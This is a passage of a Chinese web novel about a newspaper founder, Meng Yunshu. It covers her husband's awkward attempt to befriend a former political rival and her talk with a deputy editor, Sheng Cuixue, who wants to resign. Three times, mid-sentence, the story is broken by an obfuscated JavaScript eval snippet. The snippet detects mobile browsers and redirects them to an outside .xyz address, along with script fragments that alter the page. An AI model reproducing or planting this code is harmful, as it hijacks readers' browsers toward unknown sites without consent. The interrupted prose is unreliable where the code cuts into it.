“正是。”她向几人回礼，微微颔首笑道，“我事先不知几位大人到访，并未留在府中招待，怠慢了诸位，还请各位大人海涵。” “不妨事。”那官员不以为意地摆摆手，大有豪迈之势，“孟社长日理万机，可不能将时间耽误在这种闲事上。” “就是，孟夫人聪慧伶俐，在府中陪着我们反倒是浪费了你的才智。”另一人插进他们的对话中，打量着孟允抒调侃道，“许大人当真是好福分，我们先前只知孟夫人主意正且有手段，今日一见才发现，孟夫人竟有这般沉鱼落雁之貌，堪称秀外慧中。” 在他这句话后，响起了此起彼伏的附和声。 这帮人说话一个比一个好听，孟允抒听着他们把自己越捧越高，适时地转移话题说道：“哪里，几位大人可是稀客，你们愿意赏光来访，才是让许府蓬荜生辉。各位今日在府中可还尽兴？” 几人如此互相恭维一番后，为首的官员大手一挥，结束话题道：“时候不早了，我们先行告辞。” 孟允抒送走几位官员，转身继续向内院走去，和往常一样高声喊道：“许郎，我回——” 她一句话还没说完，便撞见了院中的一场闹剧。 在他们方才聚会的地方，许昭正撵着另一个男子跑，怀里还揣着几颗大石榴。两人绕着桌子围追堵截，许昭注意到孟允抒的动静，却只顾得上抽空对她点了下头，而后又继续往前追去。 他冲前面那男子喊道：“齐大人，你莫不是还对我有意见？” “我都说了没有！”被追的男子一脸愤慨，他没功夫回头，只是咬牙切齿地骂道：“许昭，你近来到底在发什么疯，整日这样吓人！” 孟允抒不明白眼前这是什么状况，赶忙上前加入战局，堵在那名齐大人面前问道：“大人何出此言？” 趁着齐大人愣神的功夫，他身后的许昭追了上来，将怀里的石榴硬塞给他，一本正经地说道：“既然大人对我并无意见，那就请收下这些。” 齐大人面色铁青地抱着满怀的石榴，许昭却好像未曾发现他的不快，笑容满面地把石榴越垒越高：“这些石榴都是今日清晨才买来的，由我精心挑选过，保证其口味甘甜。” 许昭在一旁说得兴致高昂，齐大人的脸色却愈来愈难看。 孟允抒见许昭根本察觉不到齐大人在生气，赶紧出言转移话题，向齐大人行礼道：“齐大人，这些石榴您不好直接带走，我去给您取个口袋来。” “等等。”齐大人看向孟允抒，他腾不出手回礼，只能向她点头致意：“您就是那位孟夫人？” “正是。” 孟允抒将询问的目光投向许昭，但她还没来得及从他那里听到齐大人的具体身份，齐大人又怒气冲冲地开了口。 “好，你们夫妻二人还真是一唱一和。”齐大人看看位列他左右的孟允抒和许昭，气得浑身发抖，却因寡不敌众而无法拒绝许昭的要求，放狠话般地对他说道：“许昭，这次就算你赢了，但下回可不一定。告辞。” 接着，他便抱着满怀的石榴转身离开。 孟允抒还想问他需不需要口袋：“齐大人，您——” “住口。”他头也不回地斩断了孟允抒的话，摇摇晃晃地迈开步子朝门口走去。 方才齐大人和许昭推三阻四时，他的口齿倒还算清晰。现在孟允抒才发现，他好像也不是很清醒。 孟允抒不知道他平日的性情是否也如此古怪，便转头问许昭：“这位齐大人是谁，他的性格向来如此吗？” “他叫齐安阳，现任户部郎中。”许昭叫了几个人来收拾桌椅，拉着孟允抒的手前去书房讲话，“过去他总是看我不顺眼，见了我就没几句好话。我也不知道他是针对我，抑或是本性如此。” 孟允抒听出他话里的愤慨和委屈，不免觉得有些好笑：“那他怎会愿意来府上做客？” “他是在其他几位大人的劝说下才肯赴宴的。”许昭讲起了详情，“此前他不单是与我性格不合，理念也与我大相径庭。严格来说，他曾经还是旧党成员之一。” 孟允抒当即警觉起来：“那他现今是什么想法？” “你别担心，齐大人和程玄平等人不一样。他只是思想古板，对自己的要求也十分严苛。”许昭推开书房大门，让孟允抒和他一同在案旁坐下，“去年齐大人曾因一次失误被皇上降罪，他被贬至绥宁县暂任县丞，上个月才刚刚回来，官复原职。” 绥宁县正是许昭的故乡，一处穷乡僻壤。 “齐大人在绥宁县时，因条件恶劣，许多琐事都要他亲力亲为，还时常得和平民一同劳作。在此过程中，他深入百姓，得知了他们心声，逐渐发现新党的施政方针才是真正的利国利民。”许昭笑了笑，又补充了一句：“当然，他不可能把这些事告诉我，这些都是我从其他官员那听来的。” 孟允抒了然：“所以，在你得知他转变观念后，认为他是可以被拉拢的对象。” “对。”许昭点点头，而后无奈地说道：“我有心与他交好，但他却不领情，一而再再而三地对我口出恶言。所以我想他应当是对我厌恶至极。” 孟允抒觉得不对劲，按照许昭的说法，如果齐安阳真的这么讨厌他，其他官员也不可能劝齐安阳和他们一同来许府赴宴。那些人都精明得很，他们肯定是看出许昭和齐安阳之间的关系有缓和的余地，这才故意假借赴宴的名号让这两人多多接触。 联想到萧睿言那个意味深长的笑容，孟允抒忽然意识到一个潜在的问题。 她自己情人眼里出西施，完全忘记了许昭在社交方式上有自己独到的见解。 她连忙拽着许昭的衣袖问：“你是如何向齐大人示好的？” 许昭回想了一下他这段时间的所作所为，脸上显出认真的神情。 “无论何时，只要我遇见齐大人，都会主动上前同他热情攀谈，问他吃饭了没、昨夜睡得可好、近日公务是否让他忧心，还时常寻各种由头与他共处。除此之外，每当我看到他有麻烦都会出手相助，比如有一本他四处寻不到的古籍，我在集市上发现后就买来送他；朝中有官员对他出言不逊，我就挺身而出替他辩驳……” 许昭滔滔不绝地说着，完全沉浸在了自己的回忆中，丝毫没发现孟允抒正在努力憋笑。 “就拿今日之事来说，齐大人被另外几位大人强行拉来做客，他全程都没怎么说话，只是闷头喝酒。我见他一直盯着面前的石榴，想来他应当是喜欢，却不好意思问我要。”许昭炫耀似地对孟允抒说道，“你和我说过，和他人交往时要学会察言观色。所以我决定主动送他一些。” 孟允抒觉得她快憋出内伤了。许昭真是做阅读理解的天才。 当着那么多人的面，齐安阳显然拉不下脸来同许昭冰释前嫌，也不知道该说些什么，因此只能望着眼前的景象发呆。 许昭见状却得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807156|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出答案，认为齐安阳想要他的石榴。 许昭讲述完他的交友经历，有些不解地蹙起眉头：“可我做了这么多事，齐大人却对我破口大骂，先是说我多管闲事，后来还警告我离他远点。难道是我对他的关心还不够？” 孟允抒实在忍不住笑出了声：“不，我想恰恰相反，是你热情得过头了。” 许昭和齐安阳过去可是针锋相对的政敌，许昭猛然给他来个两极反转，在齐安阳眼里，许昭肯定是不怀好意，甚至有些变态。 面对许昭疑惑的神情，孟允抒勉强止住笑意直起腰来，耐心地替他分析：“过去你们二人水火不容，你突然对齐大人这么好，他当然会猜疑你心怀不轨。或许你可以向其他官员学习，究竟该如何与旁人交往。” 许昭思索片刻，又抬眼看向孟允抒。 “可是，我学不会那些花里胡哨的技巧。而且我认为同他人结交就是如此，以真心换真心。” 他的眼瞳明若朗星，映出孟允抒的身影：“允抒，若是我当初没有向你敞开心扉，我们就不会有开始的可能；如果你先前不向我袒露心迹，你我也不会打破关系的僵局。” 许昭的眼神太过炽热真挚，令孟允抒难以忽略。她愣怔地看着他，一时没能说出话来。 此时她才发现，经历了方才的宴饮，许昭也有几分醉态，素日沉静的面庞上拢着一层轻纱似的薄红，与他鬓边的那两朵丹桂相映成趣。 她起身抚过那些柔软的花瓣，而后将一个吻落在许昭唇边。 “你说得对。是我想得太复杂了。” 孟允抒捧着许昭的脸，低头对他笑道：“我有一套为人处世的方法，你自然也有你的想法。只要能达成我们的目的，你便放手去做。” 在过去，许昭正是凭借这一颗赤子之心交到了好友，那如今就未必行不通。 而且，不管齐大人嘴上怎么说，他终归也收下那些石榴了。 许昭因孟允抒的肯定而信心倍增，他揽住她的腰，手上使了些力气，将人带到自己的怀里，稍稍仰头便又碰上了孟允抒的双唇。 这个姿势让孟允抒站得不甚稳当，两人又吻得极深，没过多久她就察觉到两人体温的骤然升高，赶紧拍拍许昭的肩膀，刹住闸将两人分开。 “这会不行。”她尽力平复狂乱的心跳，向许昭解释道：“我今晚还有正事要做。” 听孟允抒这么说，许昭却还是不肯松开手让她坐下，黏黏糊糊地往她怀里钻。 孟允抒闻见许昭身上沾染着清甜的果酒气味，这让她有一瞬间也产生了微醺的错觉。 再这样下去两人迟早得擦枪走火，孟允抒知道这事是她挑起来的，于是俯身凑到许昭耳边说道：“待会我还要去吃饭，我们没多少空余时间。这样，你先松开我，等我处理完这些事，我们晚上也能早些睡。” 尽管许昭此时的大脑有些混沌，却觉得孟允抒说得在理，于是放手让她坐下，追问她道：“你要做什么？” 孟允抒赶紧谈起正事来，试图以此转移许昭的注意力：“最近我和催雪去谈合作的成果卓著，已经有多家书坊表明愿意改行。所以，我们得趁早准备接下来的培训事项。” 许昭见她一脸严肃，意识到此事的重要性：“培训也是由你和盛姑娘负责吗？” “对。”孟允抒靠向椅背，“我一个人分身乏术，总得有人帮我。眼下报社人手不足，只有催雪最适合做这些。她无论学什么都能很快上手，又胆大不怕生，她的名气也能招来许多听众，这些都有利于我们授课。” 好处说完后，她又道出了心中的担忧。 “只是有一点我始终不大放心。催雪心直口快，难免会让旁人觉得她恃才傲物，引起他人不满。谨言对她的态度转变也能说明这一点。” “我倒不这样觉得。”许昭有些困惑地问，“她不是实话实说吗？” 孟允抒啼笑皆非：“不是每个人的心思都和你一样简单。在那些人听来，催雪就是在批斥甚至辱骂他们。” 许昭陷入沉默，像是在思考孟允抒所说的话。 苦思冥想一番后，他换了个角度安慰孟允抒：“至少到目前为止，盛姑娘将任务完成得非常出色，这证明她能掌握好分寸。而且，她天资聪颖，又有你的指导，你们肯定能顺利做成此事。” 孟允抒看得出，尽管许昭不善言辞，但他在努力想办法给她宽心。 她看着他那副笨拙的模样，不禁笑了起来。有话直说确实很好，或许是她多虑了。 53. 推脱 “孟社长真是辛苦了，快请坐下歇息片刻。” 郭掌柜满面春风地引着孟允抒进了书坊后院的厢房，她刚刚坐下，两名伙计便适时地为他们上了茶。 孟允抒用茶水润了润嗓子，笑着回应郭掌柜方才的话：“哪里，郭掌柜才是最受累的人，我做的这点事不足挂齿。今日培训课程能够有序进行，都要归功于你事先准备周全，安排得当。” 说着，她看向窗外的庭院：“而且，若不是郭掌柜慷慨相助，我们上哪找这么宽敞的场地？” 今日文昌书坊的后院热闹非凡，那里坐满了来自各个书坊的伙计们。再过一段时间，他们就会获得专业化的身份，成为新一批的探官。 届时，正式的报社组织就会如雨后春笋般冒出，在其形成一定的规模后，孟允抒就有理由向官府提交申请，建立报业行会。 郭掌柜被孟允抒夸得眉开眼笑，但还是摆摆手自谦道：“你就别恭维我了。若是我们真能摆脱如玉行会的钳制，以后我们就是同行的兄弟姐妹，自然应当互相扶持。” 郭掌柜作为商人的确是狡诈圆滑，甚至有些斤斤计较，但他也并非时时刻刻都只想着保全自身利益。组织松散定然走不长久，“一荣俱荣”的道理他还是懂得的。 在过去，民间小报并未形成专门的组织，因此即便是售卖小报的书坊也并未对伙计们进行清晰的职能界定，这样不利于分工合作。 于是，孟允抒将报社的基本组织架构和运营方式等告知给这些掌柜，由他们首先将职工分类，确定各部门的人手，而后将探官挑出来接受孟允抒的培训，编辑则交给盛催雪负责，其他部门可以沿用从前书坊运营的经验，或是参考孟允抒为他们编纂的报社运营指南。 为了节省人力和时间，孟允抒决定采取集中培训的方式，将各书坊的伙计都聚集到一处听课。黎民报社的后院被她定为了编辑的培训地点，郭掌柜则主动提出愿意将后院打扫干净，供孟允抒给探官授课使用。 孟允抒一面和郭掌柜闲聊，一面挂念着报社的情况。 按时间推算，盛催雪那边的培训应该也已经结束了。考虑到这是她们二人的首次授课，听众水平又参差不齐，孟允抒和盛催雪提前设计了一份调查问卷，让这些伙计填写课程评价，将意见和建议反馈给她们。 孟允抒见院内那名负责回收问卷的伙计正在整理手中的纸张，便放下手中的茶杯向郭掌柜告辞：“时候差不多了，我也该回报社了，那里还有诸多事务要等我处理。” “好。”郭掌柜也随她起身，一路将她送到文昌书坊门外的马车上，“孟社长慢走，之后还有劳你再跑几趟。” 孟允抒从马车的车窗中探出头来，向他挥手告别：“郭掌柜，希望我们下次也能合作愉快。” 待郭掌柜的身影逐渐模糊在人群当中后，孟允抒从那个大纸袋中抽出几份调查问卷读了起来。 黎民报社和文昌书坊相隔不远，孟允抒还没看完手上的问卷，就听见前面的车夫提醒她已经抵达目的地。 她将那些纸张重新塞好，下车走进报社的前店。 孟允抒跨过门槛，向柜台后正在算账的秋盈打了个招呼：“秋盈，我回来了。” 秋盈闻声抬起头，先让她顿住脚步：“允抒，等等。” 她转头吩咐伙计招呼好客人，而后才从柜台后走出来，拉着她问了些关于培训的问题。 “你放心，一切都很顺利。”孟允抒拍拍秋盈的手，“虽然是首次授课，但每个人都听得很认真，在自由提问环节里，他们还问了许多我先前都没考虑到的问题，这于我们经营报社也有利。” 她讲述了一遍探官培训的情况，又转而问秋盈：“对了，催雪这边情况如何？” 毕竟他们过去从来没举办过类似活动，孟允抒担心出岔子，于是将盛催雪安排在了大本营。万一培训过程中出现什么问题，秋盈也能及时去救场。 “我正要和你说。”秋盈拉了拉孟允抒的袖口，示意她随自己走到墙角，避开众人的耳目。 “在催雪培训的时候，排云曾经从她那里经过几次。我向她打听催雪的授课情况，她告诉我，一切都风平浪静。” 这本该是个好消息，但孟允抒脸上却浮现出困惑的神情。 “风平浪静”可以用来形容任何情景，但唯独不适用于盛催雪主导的场面。 秋盈也十分认同这点，对孟允抒说道：“催雪的作风一向奔放，今日也不知是怎么了。但她授课结束时我曾见过她，她看起来与平日并无分别，还是那副洒脱不羁的模样。” “我知道了。”孟允抒将盛催雪的异常暗暗记下，对秋盈说道，“你先去忙吧，稍后我会去看听课人员的意见反馈。” 孟允抒进了办公室坐下，见她面前的桌上正放着一沓方才回收来的编辑培训课程的调查问卷。于是她先将自己手里的那份问卷先搁置一边，拉来眼前的这摞纸张翻看。 随着她阅读这些问卷的答案，心中的疑惑非但没有减弱分毫，反而愈发强烈。 前来参加培训的人员对课程内容和听课体验的评价都非常好，认为盛催雪的讲述重点突出、条理清晰、通俗易懂，也能够满足他们的培训需求，总体满意度很高。 但在对主讲人评价的那栏里，大部分人都写了这样一条意见。 盛催雪讲课有照本宣科之嫌，很少与听众互动，即使在自由问答环节，她也从不回答超出授课范围的问题，他们的部分困惑始终未能得到解决。 孟允抒觉得，这些人口中所说的盛催雪和她认识的简直不是同一个人。 当初孟允抒为众人留出提问时间，正是为了保证授课的灵活性，以防有她们考虑不周的地方。如果主讲人拒绝回答预定培训内容以外的问题，那这个机制就毫无意义，盛催雪不可能意识不到这一点。 更何况，她的思维灵敏，临场应变能力极强，对付这些人的问题肯定绰绰有余，不存在答不上来的情况。 而且，盛催雪最讨厌一板一眼地做事，她自己怎么会用这种死板僵化的讲课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819748|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式？ 孟允抒百思不得其解，索性决定去将盛催雪请来办公室一问究竟。 “催雪，坐。你先喝口水。”她倒了茶水递给盛催雪，对她笑了笑：“盛副主编真是辛苦了，刚刚讲完课又要跑去探官那里催稿。” “孟社长谬赞了，要真论起辛苦来，谁能比得过你？”盛催雪打趣着孟允抒，转动手中的茶杯赞叹道，“怪不得睿言总喜欢往你这跑，你这茶水确实让人回味无穷。” 秋盈说得没错，孟允抒没能从盛催雪的外表上找出任何异样。 她酝酿着语言逐渐切入正题，将面前的问卷推向盛催雪说道：“催雪，这些回收上来的问卷你可曾看过？” “看了。”盛催雪没有伸手去动那沓纸张，用自嘲般的语气对孟允抒说道，“我自知今日表现不佳，你来找我问责也是理所应当。” 说完，她放下手中的茶杯，收敛了笑容坐正身子，摆出俯首认错的模样。 “社长，我认为我能力有限，难当大任。所以，我想请你免除我的副主编一职。” 这句话令孟允抒大惊失色，赶忙将身子前倾问道：“催雪，你开什么玩笑，这事哪有那么严重？” 无论盛催雪走到哪，她都是人群中最耀眼夺目的明星，孟允抒不敢相信，这话居然是从这样一位骄傲明媚的才女口中说出的。 盛催雪却摇摇头：“允抒，你了解报社的每一个人。平日我的确不拘小节，在旁人看来奔放得过头，但你知道我从不会拿这种事开玩笑。” 见盛催雪一脸庄重的神情，孟允抒意识到她是认真的，连忙劝她打消这个念头：“催雪，你也了解我，我很少批斥报社中的职工。我找你来谈话并不是想要追究你的责任，你不要误会。” 而后孟允抒缓和了语气继续说道：“只是既然当下出现了问题，我们就不能对它视而不见。我们一起找出原因，想办法将它解决便是。你告诉我，你今日究竟是怎么了？” 盛催雪抬眼直视着孟允抒，却没有回答她的问题。 “允抒，我果然没有看错，你是一位好社长。报社中无论是谁犯了错，或是出现工作失误，你都不会对那人直接加以惩戒或训斥，也不会把话挑明，强行让他们按照你的意愿行事，而是不动声色地加以引导，鼓励支持着我们得出解决办法。我知道大家都拥戴你，也眼见着报社在你的带领下越办越好。” 盛催雪露出一个明朗的笑容，有一瞬间孟允抒还以为她恢复了往日的模样。 可下一秒，她的这副神情又消失得无影无踪，将自己的脑袋和声音一并低了下去。 “正是因此，我才不能毁掉你的努力。” 盛催雪的声音颤抖起来：“社长，我不想让你为难，但我的确已经支撑不下去了。无论是作为培训主讲人还是报社的副主编，我都并不合格。” 一滴眼泪砸到桌面上，迸出细碎的玉屑。 她又重复了一遍自己刚才说过的话。 “我难以担负这样的重任，请你另请高明吧。” 54. 偶像包袱 盛催雪这句话落音后，孟允抒始终未发一言。过了半晌，办公室内都只能听得见前者的啜泣声。 “我认识的盛催雪从不会说这样的话。” 孟允抒终于开了口，她望着面前低头垂泪的盛催雪，语气坚定却不失温柔：“催雪，抬起头来。” 盛催雪既像是听到了一道命令，又似乎得到了抚慰，于是抻直了脖颈，抬起朦胧的泪眼看向孟允抒。 孟允抒让盛催雪伸出手来，同她的双手紧紧相握：“催雪，不管你现在心里怎么想，都不要回避我说的话。” 盛催雪点了点头，表示她愿意听孟允抒说下去。 孟允抒问她：“过去你总是对你的才智引以为傲，从来不会怀疑自身能力不足。你方才为什么会说，你认为自己身为主讲人和副主编不合格？” “因为我以前太过自大，从未发现自身的缺陷。” 盛催雪讲起了她观念上的转折点。 “社长，先前在你深陷危机的时候，报社群龙无首，维持秩序的责任就落到了我们这些主管的头上。” 那时就是考验他们这些主管能力的时刻。 从结果来看，孟允抒认为自己用人还算得当：“我在刑部大牢待了那么久，出狱后又在家中休养了一月，这期间你们非但没有离职，反而尽心尽力地帮我，报社没有出什么大乱子，而且还能正常运营，这证明你们做得很好。” 盛催雪笑中含泪：“采编部有一半的员工离职，这还不算大乱子吗？” “这不是你们能阻止的事。”孟允抒不以为意，“他们想要明哲保身，不愿受我牵连，这也无可厚非。而且，即使他们这次没有离开，迟早也会因为和我的理念不合而分道扬镳。” “或许吧。”盛催雪看上去并没有被孟允抒说服，“但我知道，是我激化了这种矛盾。” 她看向孟允抒，语气笃定地认罪：“社长，这些人离职和我有很大关系。” 孟允抒明白过来，盛催雪认为，那些人是因为和她起了冲突，被她激怒后一气之下才离开报社。 “你可别把功劳往你自己身上揽。”孟允抒调侃她，“就算没有你，那些人害怕自身被波及，又已经与大部分职工的想法产生分歧，结果一样会离开。” “不是这样的。” 盛催雪的声音很轻，却好像用尽了她浑身的力气。 “在与我争吵时，他们曾对我说过，我总是这样高高在上，似乎世上没有人比我更聪慧、更正确。” 盛催雪垂下眼眸，当时他们产生冲突的场景还历历在目。那些人半是自嘲半是挖苦她地说了很多话。 “他们还告诉我，他们不像我那样出类拔萃，没有底气和实力迎难而上。达不到我的要求，他们对此也感到很抱歉。” 这句话彻底划清了天才与普通人的界限，将盛催雪放在了他们的对立面。此刻，她的才智与名气变成了一道深长的鸿沟。 孟允抒愣了愣神，赶忙安慰她：“人在气头上的话哪能信，你别想太多。” “这不是他们的气话。这些人的确对我积怨已久，那次争吵不过是个爆发点。”盛催雪看向孟允抒说道，“社长，你应当也明白吧。” 孟允抒默不作声，但她不得不在心底承认，盛催雪说得没错。 “在这批离职的员工中，有相当多的一部分曾经被我的名气吸引而来，参加了报社的招聘考试。但在他们入职后，我们相处得并不愉快，他们也逐渐对我心生厌恶。”盛催雪苦笑道，“包括萧主编也是一样。我们都知道此前他对我十分崇敬，但现在他对我的看法又如何呢？” 她轻轻叹了口气：“这些人曾经那样狂热地追捧我，可最后我总会让他们失望，破坏我在他们心中的形象，闹得双方不欢而散。” 孟允抒正要开口，盛催雪示意她先稍等，听自己说完接下来的话。 “社长，我说这些不是想责怪他人。我知道我说话太过直接，常常让人觉得不堪忍受，我也希望我能改掉这点。可我在以往的十九年内都是这样生活的，我对此早已习惯。既然我把握不好分寸，就只能尽量收敛锋芒，谨慎开口。” 孟允抒找到了问题的症结所在。 “所以，你才不敢在今日的培训课程上自由发挥。” “嗯，我担心我又会在不经意间说出不妥的话。但是这样一来，我们的授课效果就会大打折扣。” 盛催雪语气哀伤地说道：“我不明白，过去在我表现出这些缺陷时，有许多人对我大加赞赏，可当我真正来到这些追捧者的面前时，他们又想拼命远离我。可是，我的性情从来都没变过。” 她艰难地说出一句话。 “社长，我不知道该怎么和旁人相处了。” 孟允抒看着她灰暗的眼神，心里五味杂陈。 人们喜欢盛催雪的直率，追崇她的潇洒，赞赏她的傲气，可当他们直面这道耀眼的光芒时，又嫌弃她太过锐利。 因为盛催雪的性情洒脱，又因才华名动京城，孟允抒几乎忘了她原本也只是一个率真单纯、无忧无虑的平凡少女。在来到报社以前，她是自由的飞鸟，在广阔的京城内肆意翱翔，可如今却像是被囚禁在笼中，因众人的指责和批判而收拢双翅，畏缩不前。 孟允抒问她：“你为什么不早点将这些告诉我，或是其他人？” “报社正处在最艰难的时期，我不能给大家添麻烦。况且，那祸端是因我而起，我理应将功补过。” 显而易见，这些日子盛催雪都是在勉强着自己完成孟允抒交给她的任务。如今她能主动说出这些，说明她的确是不堪重负了。 孟允抒有些惭愧。她身为社长，非但没能及时察觉到盛催雪的异常，反而让她的心结打得越来越紧，不断地向她施压。 她本来可以只享受着明星光环，却不用背上沉重的偶像包袱。 “催雪，就像你说的，我从不强迫你们去做事。”孟允抒温声问道，“你告诉我，你还喜欢在报社工作吗？” 尽管情绪低落，盛催雪还是斩钉截铁地给出了肯定答复。 “社长，在旁人看来，我对什么事都充满好奇，只要有感兴趣的事就想去尝试，热情来得也快去得也快。但是，加入报社这件事绝不是我一拍脑袋就做出的决定，而是经过了深思熟虑。” 盛催雪说起了她当初来报社任职的目的。 “我自幼就饱读诗书，平日也总能给自己找乐子解闷。但这样终日无所事事下去，我也觉得没多大意思。后来我读到《黎民日报》上一篇由你写的报道，那篇文章揭露了脚店掌柜克扣伙计血汗钱的行为。在那一瞬间，我忽然有种感觉，这就是我愿意为之奉献的事业。” “于是，我便借着为初晴寻觅良配的机会来到报社实地探察，在确认了你的想法和我一致后，我尝试着干起了这份差事。再后来，我们共同经历了那场针对女子从业的风波，这更让我理解了报业的意义所在，坚定了我留下来的决心。” 盛催雪的这番陈述让孟允抒把接下来的问题改成了肯定句。 “所以，你目前还想继续待在报社。” “没错。我只是想做一名普通的编辑，尽可能地减少与旁人的接触，不要再让他们的期待落空。” 对于普通人而言，盛催雪的批判的确太过尖锐，他们拼尽全力也达不到她的标准，更理解不了她为什么能把困难和危险说得那样云淡风轻。 而盛催雪作为名人想要远离她的粉丝，过上安静的生活，这一诉求也合情合理。 但孟允抒始终觉得，她不能就这样答应盛催雪。 她看向面前这个低声嗫嚅的年轻姑娘，她全然没了昔日神采飞扬的模样。如果她就这样遵从盛催雪的意愿，那盛催雪就永远解不开这个心结。 见孟允抒迟迟不肯表态，盛催雪再次提出她的卸任诉求：“社长，我不能再担任副主编一职了。” “不行——啊！” 几个短促的声响不间断地发出，先是一道男声，而后是撞击声，再是一声惨叫。 孟允抒和盛催雪都没料到办公室内还有第三人，两人连忙从椅子上站起身，惊疑地盯着声源处：“谁在那？” “是我。”萧谨言捂着额角从桌子底下钻出来，嘴里还在不断吸着冷气，“刚才起身太猛磕着头了，疼死我了。” 孟允抒愕然地问道：“你是什么时候进来的？” 盛催雪也诧异地看着他：“你躲到桌子底下干什么？” “我是在你俩进来之前不久来的办公室。”萧谨言先回答了孟允抒的问题，而后心虚地瞥了盛催雪一眼，“我太困了，所以在这休息一会。” 盛催雪猛然想起一件事，气势汹汹地上前问他：“方才我们说的话，你都听见了？” 孟允抒也很在意消息的保密问题：“谨言，偷听可不是好习惯。” 在两人的威逼利诱下，萧谨言不得不如实招来：“你们别这样看着我，怪吓人的。我不是故意要听你们说话。” 他踌躇片刻，小声说道：“方才有名编辑在修改文章时出了些差错，我训了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833493|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他几句，没想到他居然敢反驳我，而且出言不逊。我说不过他，又不想被众人嘲笑，所以在这……” 孟允抒这才瞧见萧谨言眼眶也泛着红，敢情他是被下属气哭了，所以藏起来偷偷抹眼泪。 萧谨言实在不好意思说下去，索性直接略过后半句话：“但我还没来得及出去，就听见你俩进来了。为了不被你们发现，我只好继续躲在这等你们走。总之，我绝对没有偷听的意思。” 孟允抒早就对萧谨言的眼泪习以为常，盛催雪自己也是刚哭过的人，她当然没资格嘲笑他，只能恼羞成怒地说：“不管怎么样，你终归是听到我们方才的谈话了。” 萧谨言将心一横，破罐破摔似地说：“对，我是听到了。那又怎样，实在不行你把我灭口吧。” 他的反应超乎寻常地勇敢，这让孟允抒和盛催雪都怔了片刻。 萧谨言抓住这个机会从盛催雪身边走开，将衣袖一甩说道：“我都不想说你，方才你自己都和孟社长说了，你身上的锐气太重，旁人见了你都躲，你现在还不知悔改。” 他这话就是在给盛催雪伤口上撒盐，孟允抒连忙阻止他继续说下去：“谨言。” “社长，你别拦我，我今日一定要把话说明白。” 萧谨言说这话时气势磅礴，但却没忘了踱步到孟允抒旁边，为自己提前找好靠山。 他藏在孟允抒背后，探出脑袋来对盛催雪指指点点：“你说话的确不怎么中听，但你说的也都是事实。再说了，你又不是闲来无事就嘲讽他人，我们要是没犯错，你也不会好端端的就骂我们。所以从根本上来说，你并没有什么错处。” 孟允抒惊奇地看着萧谨言，她没想到有朝一日他能劝别人放宽心。 “你竟然会这样说。”盛催雪十分意外，“你不是对我意见很大吗？” “那当然了。”萧谨言脱口而出道，“总不能只允许你骂我，还不让我有怨言，那还有没有天理了？” 盛催雪觉得萧谨言这话没毛病。 “但是，有些时候你说得实在过分。我们都知道你才智过人，所以很多事在你看来都轻而易举，可对普通人来说却不是这样。” 他戳到了她的痛处，盛催雪低下头问：“但我的性情向来如此，你们也早就知道。那为什么过去你们没有用这种态度对我？” 萧谨言觉得原因一目了然：“之前我们追捧你，那纯粹是因为你过去没骂到我们头上，站着说话不腰疼而已。” 盛催雪有些迷茫：“所以，其实没有人会喜欢我这样有话直说？” “有话直说”这个词倏然触发了孟允抒的回忆，她脑内迅速闪过许昭的身影，同时迸发出一道灵光，令她悟出问题的关键所在。 “不，我想大家和你产生冲突的原因恰恰相反。” 孟允抒对盛催雪笑了笑：“你的那些话说得还不够直接。” 萧谨言和盛催雪一齐诧异地看向孟允抒。 “报社职工们的性情、能力各异，有摩擦实属正常，关键是如何沟通。”孟允抒进一步解释道，“今日若不是谨言主动告诉你他的想法，你我都以为他已经对你深恶痛绝。” “催雪，因为你的才华出众，你不能理解普通人的难处，所以总是给他人盛气凌人的印象。但反过来说旁人也是一样，大家不知道你心里的委屈。” 以盛催雪的悟性，孟允抒决定点到为止。 果然，盛催雪思索了几秒，而后如释重负地轻笑了一声。 解决办法居然如此简单。 “我明白了。” 萧谨言还没反应过来：“你明白什么了？” 盛催雪昂起头，恢复了往日那副飒爽的英姿：“我比你们都强，所以我说的那些话在我看来毫无问题。但是，既然你们达不到我的要求，那我们不妨好好商讨一番，达成一个折衷的共识。” 萧谨言听她口出狂言，在愤怒之余却无法反驳，只能咬牙切齿地说了句“行”。 没办法，盛催雪的确比其他人都强。 “话说回来，我要是不当这个副主编，那这些人还真是无法无天。”盛催雪站起身，“你告诉我方才是哪个编辑以下犯上，我去替你收拾他。” 萧谨言听到有人要帮他出这口恶气，一时间高兴得忘乎所以，全然将方才的怒火抛之脑后。 在两人经过孟允抒的桌前时，盛催雪向孟允抒投来一个感激的目光，孟允抒则对她报以鼓励的微笑。 那个自信洒脱的盛催雪回来了，接下来才是她大显身手的时刻。 55. 腹背受敌 